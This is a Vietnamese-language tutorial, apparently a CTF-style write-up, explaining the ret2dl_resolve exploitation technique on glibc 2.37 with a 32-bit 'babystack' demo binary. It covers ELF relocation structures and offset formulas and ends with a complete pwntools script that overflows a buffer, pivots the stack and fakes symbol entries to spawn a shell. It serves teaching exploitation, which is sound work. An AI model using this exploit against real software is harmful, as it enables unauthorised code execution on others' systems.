Try   HackMD

Trong một số trường hợp khi ta overflow mà không có các hàm trong PLT thích hợp để leak libc ra thì ret2dl_resolve là một kỹ thuật để lấy được shell. Trong bài này mình sẽ giới thiệu tóm tắt về cách ret2dl_resolve ở glibc 2.37 hoạt động qua một bài demo.

I. Prerequisites :

Do nếu mình giải thích chi tiết từng dòng code chạy sau thì nó rất rất dài và giống như reinvent the wheel nên các bạn có thể đọc trước ở đây:

II. Overview

Kỹ thuật này lợi dụng việc lazy binding tức quá trình resolve symbol ở runtime không có bound check từ đó ta khiến nó overwrite địa chỉ GOT của một hàm nào đó thành system

Khi ta gọi hàm read thì những việc sau đây xảy ra :

  1. Nhảy vào .plt của read
  2. jmp vào một địa chỉ trong .got.plt.
  3. Nếu địa chỉ này chưa resolve thì nó sẽ trỏ ngược lại vào địa chỉ tiếp theo cần thực hiện trong .plt. Nếu resolve rồi thì thực hiện nó
  4. Nếu chưa resolve thì bước này là bước đi resolve

Trong quá trình đi resolve nó sẽ push 2 arguments lên stack : linkmapreloc_arg.

  • linkmap là chỗ chứa các địa chỉ ở bên dưới - ở đây ta không quan tâm về nó
  • reloc_arg dùng để tính offset mà ta cần cực kỳ để ý.

Mục tiêu của ret2dl_resolve như sau:

  • Fake argument reloc_arg
  • Fake 3 chunk STRTAB, SYMTAB,JMPREL

Để fake đúng ta cần tính offset chuẩn . 3 chunk ta fake thường nằm ở heap hoặc bss của binary. Đây là địa chỉ mà ta phải có control hoàn toàn.
Lưu ý : địa sym và SYMTAB, reloc và JMPREL mà mình đề cập bên dưới là các địa chỉ khác nhau hoàn toàn.

III. Details:

a. STRTAB

gef➤ x/10s 0x804822c 0x804822c: "" 0x804822d: "libc.so.6" 0x8048237: "_IO_stdin_used" 0x8048246: "read" 0x804824b: "alarm" 0x8048251: "__libc_start_main" 0x8048263: "__gmon_start__" 0x8048272: "GLIBC_2.0" 0x804827c: "" 0x804827d: ""

STRTAB chỉ là nơi chứa strings. Mục tiêu của ta khi fake nó chỉ là ghi system\x00 (null terminated str) vào một địa chỉ

b. SYMTAB

Một chunk sym được định nghĩa như sau:

  • Ở x64
typedef struct { Elf64_Word st_name; /* Symbol name (string tbl index) */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf64_Section st_shndx; /* Section index */ Elf64_Addr st_value; /* Symbol value */ Elf64_Xword st_size; /* Symbol size */ } Elf64_Sym;
  • Ở x32
typedef struct { Elf32_Word st_name; /* Symbol name (string tbl index) */ Elf32_Addr st_value; /* Symbol value */ Elf32_Word st_size; /* Symbol size */ unsigned char st_info; /* Symbol type and binding */ unsigned char st_other; /* Symbol visibility */ Elf32_Section st_shndx; /* Section index */ } Elf32_Sym;

Cách mà source tính ra chunk này :

const ElfW(Sym) *sym = &symtab[ELFW(R_SYM) (reloc->r_info)] // which is the same as : const ElfW(Sym) *sym = &symtab[(reloc->r_info) >> 8] // also the same as : *sym = SYMTAB + index *sizeof(sym) // index = (reloc->r_info) >> 8 ---------------------------------------------- const ElfW(Sym) *const symtab = (const void *) D_PTR (l, l_info[DT_SYMTAB]) --------SYMTAB--------

x64 và x32 chỉ khác mỗi size còn lại tương tự

Ở đây chúng ta chỉ quan tâm đến st_otherst_name

  • st_other : bắt buộc = 0
  • st_name : chứa offset đến string system mà ta fake

c. JMPREL

Một chunk reloc được định nghĩa như sau :

  • x32
typedef struct { Elf32_Addr r_offset; /* Address */ Elf32_Word r_info; /* Relocation type and symbol index */ } Elf32_Rel;
  • x64
typedef struct { Elf64_Addr r_offset; /* Address */ Elf64_Xword r_info; /* Relocation type and symbol index */ } Elf64_Rel;

Cách mà source tính ra chunk này:

const PLTREL *const reloc = (const void *) (D_PTR(l, l_info[DT_JMPREL]) + reloc_offset); // the same as reloc = JMPREL + reloc_offset // such that reloc_offset = reloc_arg //x32 reloc_offset = reloc_arg *0x18 //x64

III. But howww ???

a. Basic algorithm (true case)

Trong trường hợp thoả mãn tất cả điều kiện thì nó sẽ resolve bằng thuật toán sau

  1. push reloc_arg, linkmap
  2. get SYMTAB address
  3. get STRTAB address
  4. get a ptr to ELF32_Rela / ELF64_Rela struct
  5. get a ptr to ELF32_Sym / ELF64_Sym struct (base on a ptr in step 4)
  6. check r_info ending with 0x7
  7. check st_other == 0 or not
  8. do some stuff to check the version
  9. get the address from glibc base on STRTAB + st_name

b. Observation:

  1. Ta không thể fake SYMTAB, STRTAB , linkmap (hmmm có thể có nhưng kỹ thuật khá khó)
  2. Bước 4 tính ptr đó bằng công thức: reloc = JMPREL + reloc_arg
  3. Bước 5 tính ptr đó bằng công thức sym = SYMTAB + (r_info >> 8) * sizeof(sym)

c. Các bước tính:

  1. Tìm 3 địa chỉ addr1 , addr2 ,addr3 mà chúng ta có quyền control
  2. Fake ELF32_Rela / ELF64_Rela addr1 struct
  • reloc_arg = addr1 - JMPREL (x32)
  • reloc_arg = (addr1 - JMPREL) / 24 (x64)
  • r_info = (((addr2 - SYMTAB) / sizeof(sym)) << 8) | 7
  • addr1 chunk : [GOT, r_info]
  1. Fake ELF32_Sym / ELF64_Sym addr2 struct :
  • st_name = addr3 - STRTAB
  • st_value, st_size, st_info, st_other, st_shndx = 0
  1. write system to addr3

Trong quá trình fake thì các chunk đấy phải nằm đúng một ô nhớ 4 byte hoặc 8 byte ở một địa chỉ -> align khi thấy không phù hợp

IV. Demo

Đầu tiên ta chạy lệnh này để note lại các giá trị

$ readelf -d babystack

Dynamic section at offset 0xf14 contains 24 entries:
  Tag        Type                         Name/Value
 0x00000001 (NEEDED)                     Shared library: [libc.so.6]
 0x0000000c (INIT)                       0x80482c8
 0x0000000d (FINI)                       0x80484f4
 0x00000019 (INIT_ARRAY)                 0x8049f08
 0x0000001b (INIT_ARRAYSZ)               4 (bytes)
 0x0000001a (FINI_ARRAY)                 0x8049f0c
 0x0000001c (FINI_ARRAYSZ)               4 (bytes)
 0x6ffffef5 (GNU_HASH)                   0x80481ac
 0x00000005 (STRTAB)                     0x804822c
 0x00000006 (SYMTAB)                     0x80481cc
 0x0000000a (STRSZ)                      80 (bytes)
 0x0000000b (SYMENT)                     16 (bytes)
 0x00000015 (DEBUG)                      0x0
 0x00000003 (PLTGOT)                     0x804a000
 0x00000002 (PLTRELSZ)                   24 (bytes)
 0x00000014 (PLTREL)                     REL
 0x00000017 (JMPREL)                     0x80482b0
 0x00000011 (REL)                        0x80482a8
 0x00000012 (RELSZ)                      8 (bytes)
 0x00000013 (RELENT)                     8 (bytes)
 0x6ffffffe (VERNEED)                    0x8048288
 0x6fffffff (VERNEEDNUM)                 1
 0x6ffffff0 (VERSYM)                     0x804827c
 0x00000000 (NULL)                       0x0

Note lại

SYMTAB = 0x080481cc
STRTAB = 0x0804822c
JMPREL = 0x080482b0

Vào ida thì ta dễ dàng thấy rằng bị bof

Vào gdb thì thấy rằng không có hàm nào thích hợp để giúp ta leak libc -> ret2dl_resolve

Sau một hồi test với binary thì thấy rằng ta cần pivot stack vào bss() do arguments 1 tức reloc_arg cần phải ở đầu stack

Quá trình pivot stack cũng như làm sau để bof 1 file x32 sẽ không trình bày ở đây

addr1 = 0x804af00 payload = b'a'*40 + p32(addr1) payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80) p.send(payload)

Trong đó 0x8048455 là gadget leave_ret. Ở đây chúng ta thực hiện ghi 2 lần.

  • Lần 1 tức payload trên để pivot stack
  • Lần 2 gửi payload ret2dl_resolve lên bss()

Payload 2 của mình có dạng sau

addr1 += 0x14 reloc_args = (addr1 - JMPREL) addr2 = 0x804af1c success("FAKE ELF32_SYM addr2 : " + hex(addr2)) r_info = (addr2- SYMTAB) // 16 r_info = (r_info <<8) | 0x7 success("FAKE ELF32_RELA addr1 : " + hex(addr1)) success("CACULATED reloc_args: " + hex(reloc_args)) success("r_info : " + hex(r_info)) string = 0x0804af2c - STRTAB

Do addr1 sau khi chạy payload 1 đang là rsp
nên mình cộng thêm 0x14 tức chỗ để fake ELF32_Rela struct.

string trong code trên là st_name fake

Payload sau khi gửi

Ta có thể thấy là các địa chỉ ta fake nằm trọn trong 1 ô vùng nhớ. Các địa chỉ khác tính như công thức mình đưa ra ở trên .

Chỗ padding này như sau

  • 0x804af08 là esp tức là reloc_arg
  • 2 địa chỉ tiếp theo là phần padding. Ở đây mình gửi string sh và tiếp theo mình gửi vào 0x804af10 địa chỉ trỏ tới sh. Lý do của việc đó là vì khi ta thực hiện resolve xong thì nó sẽ thực hiện hàm system đấy. Do là x32 nên theo calling convention thì nó expect arguments ở esp+0x8

Ta chạy script thì lấy được shell

Full script :

from pwn import * import time exe = ELF("babystack") p = process(exe.path) SYMTAB = 0x080481cc STRTAB = 0x0804822c JMPREL = 0x080482b0 GOT = 0x804a010 ret = 0x080482d2 addr1 = 0x804af00 payload = b'a'*40 + p32(addr1) payload += p32(exe.plt['read']) + p32(0x8048455)+ p32(0) + p32(addr1) + p32(0x80) p.send(payload) time.sleep(1) addr1 += 0x14 reloc_args = (addr1 - JMPREL) success("FAKE ELF32_RELA addr1 : " + hex(addr1)) success("CACULATED reloc_args: " + hex(reloc_args)) addr2 = 0x804af1c success("FAKE ELF32_SYM addr2 : " + hex(addr2)) r_info = (addr2- SYMTAB) // 16 r_info = (r_info <<8) | 0x7 success("r_info : " + hex(r_info)) string = 0x0804af2c - STRTAB payload = b'a'*4 + p32(0x80482F0) + p32(reloc_args) + b'sh\x00\x00'+p32(0x0804af0c) payload += p32(exe.got['read']) + p32(r_info)+p32(string)+p32(0)*3+b'system\x00' p.send(payload) p.interactive()

V. References

  1. syst3mfailure
  2. phrack article ở mục 5
  3. ricardo2197